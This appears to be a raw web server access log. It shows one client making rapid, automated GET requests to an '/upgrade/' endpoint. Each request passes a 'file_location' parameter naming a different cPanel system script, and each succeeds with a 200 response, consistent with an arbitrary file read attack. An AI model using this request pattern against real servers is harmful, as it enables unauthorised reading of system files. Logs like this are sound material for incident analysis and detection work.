45.135.193.11 - - [11/Sep/2026:22:42:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fkillmysqluserprivs&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37971 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fkillmysqluserprivs&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmake_config&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37933 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fmake_config&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fpurge_modsec_log&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38435 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fpurge_modsec_log&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fslurp_exim_mainlog&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 40108 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fslurp_exim_mainlog&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Funpkgacct&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39898 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Funpkgacct&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fbuildeximconf&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39992 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fbuildeximconf&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fensure_conf_dir_crt_key&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39422 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fensure_conf_dir_crt_key&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffix-listen-on-localhost&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39599 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffix-listen-on-localhost&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frealadduser&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39508 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frealadduser&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_rsyslogd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37865 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_rsyslogd&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fspamboxdisable&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38449 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fspamboxdisable&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fvzzo-fixer&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38106 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fvzzo-fixer&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fgrpck&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38436 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fgrpck&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_ftpserver&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38174 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_ftpserver&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsync-mysql-users-from-grants&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38420 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsync-mysql-users-from-grants&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fxferpoint&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39091 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fxferpoint&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_imap&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37968 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_imap&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frunstatsonce&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37973 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frunstatsonce&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdatenameserverips&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38639 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdatenameserverips&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fconvert2dovecot&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38024 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fconvert2dovecot&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fpkgacct&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 65807 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fpkgacct&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdatenow.static&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 618202 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdatenow.static&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcompilerscheck&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38250 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcompilerscheck&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fexim_tidydb&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38749 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fexim_tidydb&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Flinksubemailtomainacct&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39176 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Flinksubemailtomainacct&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_mysql&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 2154399 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_mysql&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Funsuspendmysqlusers&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 40517 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Funsuspendmysqlusers&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdatesigningkey&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38625 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdatesigningkey&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fxfer_rcube_schema_migrate.pl&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38813 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fxfer_rcube_schema_migrate.pl&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fensure_autoenabled_features&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37809 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fensure_autoenabled_features&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_exim&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 2154283 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frestartsrv_exim&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsetupftpserver&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 41653 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsetupftpserver&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Flitespeed-check&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39316 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Flitespeed-check&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frealperlinstaller&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 40318 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frealperlinstaller&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Foopscheck&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38280 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Foopscheck&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fpedquota&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38726 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fpedquota&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frun_plugin_lifecycle&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37795 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frun_plugin_lifecycle&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcheckalldomainsmxs&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39016 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcheckalldomainsmxs&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffind_and_fix_rpm_issues&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 40690 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Ffind_and_fix_rpm_issues&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fclean_dead_mailman_locks&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38796 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fclean_dead_mailman_locks&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fipcheck&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39542 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fipcheck&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdate_freebusy_data&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 40023 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fupdate_freebusy_data&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcheckexim.pl&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 39033 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcheckexim.pl&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fquickdnslookup&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38344 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fquickdnslookup&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frunweblogs&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38261 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Frunweblogs&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Finitfpsuexec&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 37981 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Finitfpsuexec&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsetup_modsec_db&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 38460 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fsetup_modsec_db&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcheck_immutable_files&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F HTTP/1.1" 200 40092 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F%2Fcheck_immutable_files&location=%2Fusr%2Flocal%2Fcpanel%2Fscripts%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
